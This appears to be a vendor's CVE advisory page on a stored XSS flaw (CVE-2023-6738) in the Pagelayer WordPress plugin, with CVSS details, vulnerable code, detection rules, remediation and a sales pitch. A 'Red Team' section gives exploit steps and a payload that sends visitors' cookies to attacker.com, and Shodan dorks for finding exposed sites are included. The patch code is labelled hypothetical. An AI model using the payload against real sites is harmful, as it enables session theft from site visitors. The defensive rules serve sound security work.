☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6738

CVE-2023-6738 Cross-Site Scripting in Pagelayer
📅 PUBLISHED: 2024-01-04 03:30 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6738 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress. The flaw exists in the pagelayer_header_code, pagelayer_body_open_code, and pagelayer_footer_code meta fields, affecting all versions up to and including 1.7.8. Insufficient input sanitization and output escaping allow authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. This vulnerability is a reintroduction of a previously patched issue in version 1.7.7.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It is not related to Apache or Nginx server software. The attack vector relies on WordPress user roles and the plugin’s meta field handling.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify plugin integrity and source.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level or above)
  • User Interaction: Required (Victim must access the injected page)
  • Scope: Changed (Impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access but can lead to persistent script injection affecting all site visitors.

Deep Dive & Mechanics

The Pagelayer plugin stores custom code snippets (header, body open, footer) in post meta fields. These fields are intended for site-wide customizations but are not properly sanitized or escaped. An attacker with contributor-level permissions can inject malicious JavaScript into these meta fields via the WordPress admin interface or REST API.

When a page using Pagelayer is rendered, the plugin outputs the stored meta values directly into the HTML without proper escaping. This allows the injected script to execute in the context of the victim’s browser. The vulnerability is a classic stored XSS (CWE-79) and is a reintroduction of a fix that was applied in version 1.7.7 but regressed in 1.7.8.

Attack Flow:

  1. Attacker logs in with contributor-level or higher privileges.
  2. Attacker edits a page or post and injects malicious JavaScript into the pagelayer_header_code, pagelayer_body_open_code, or pagelayer_footer_code meta fields.
  3. The malicious script is stored in the database.
  4. When any user (including administrators) visits the affected page, the script executes.
  5. The script can steal cookies, redirect users, deface the site, or perform other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (<=1.7.8): The plugin outputs the meta field values directly without escaping.

// In Pagelayer's output function
echo get_post_meta($post_id, 'pagelayer_header_code', true);
echo get_post_meta($post_id, 'pagelayer_body_open_code', true);
echo get_post_meta($post_id, 'pagelayer_footer_code', true);

Patched Code (Hypothetical): Proper escaping using esc_html() or wp_kses_post().

// Patched version
echo esc_html(get_post_meta($post_id, 'pagelayer_header_code', true));
echo esc_html(get_post_meta($post_id, 'pagelayer_body_open_code', true));
echo esc_html(get_post_meta($post_id, 'pagelayer_footer_code', true));

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with Pagelayer plugin version <=1.7.8.
  • Contributor-level or higher user account.

Exploit Steps:

  1. Log in to WordPress admin as a contributor.
  2. Navigate to a page or post editor.
  3. In the custom code fields (e.g., Pagelayer Header Code), inject the following payload:
    <script>alert('XSS')</script>
    
  4. Save the page.
  5. Visit the page as any user to trigger the XSS.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team

Detection:

  • Monitor for unusual content in pagelayer_header_code, pagelayer_body_open_code, and pagelayer_footer_code meta fields.
  • Look for script tags or event handlers in these fields.
  • Use WAF rules to block common XSS patterns in POST requests to WordPress admin.

Prevention:

  • Update Pagelayer plugin to a patched version (if available).
  • Restrict contributor-level permissions.
  • Implement Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/pagelayer/ (check version)
  • Database: wp_postmeta table entries with meta_key = pagelayer_header_code, pagelayer_body_open_code, or pagelayer_footer_code containing script tags.
  • Network: Outbound requests to attacker-controlled domains from compromised WordPress sites.
  • Logs: WordPress audit logs showing edits to post meta fields by contributor-level users.

Detection Engineering

YARA Rule

rule CVE_2023_6738_Pagelayer_XSS {
    meta:
        description = "Detects stored XSS payloads in Pagelayer meta fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6738"
    strings:
        $meta_key1 = "pagelayer_header_code"
        $meta_key2 = "pagelayer_body_open_code"
        $meta_key3 = "pagelayer_footer_code"
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
    condition:
        any of ($meta_key*) and $xss_payload
}

Sigma Rule

title: Stored XSS in Pagelayer Plugin Meta Fields
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Pagelayer meta fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: 
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/post.php'
        http.body|contains:
            - 'pagelayer_header_code'
            - 'pagelayer_body_open_code'
            - 'pagelayer_footer_code'
        http.body|re: '<script[^>]*>.*<\/script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom code fields by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6738 Pagelayer Stored XSS Attempt"; flow:to_server,established; content:"pagelayer_header_code"; http_client_body; nocase; content:"<script"; http_client_body; nocase; pcre:"/<script[^>]*>.*<\/script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Plugin: If a patched version is released, update Pagelayer immediately. As of now, no patch is available.
  2. Disable Plugin: Temporarily deactivate Pagelayer until a fix is applied.
  3. Restrict Permissions: Remove contributor-level access from untrusted users.
  4. Audit Meta Fields: Scan the database for malicious content in the affected meta fields.

Long-term Measures:

  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce Content Security Policy (CSP) headers.
  • Regularly update all WordPress plugins and themes.
  • Conduct security training for users with elevated privileges.

Workaround: Add the following code to the theme's functions.php to sanitize the meta fields:

add_filter('pagelayer_header_code', 'esc_html');
add_filter('pagelayer_body_open_code', 'esc_html');
add_filter('pagelayer_footer_code', 'esc_html');

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Pagelayer"
http.html:"pagelayer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6738/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.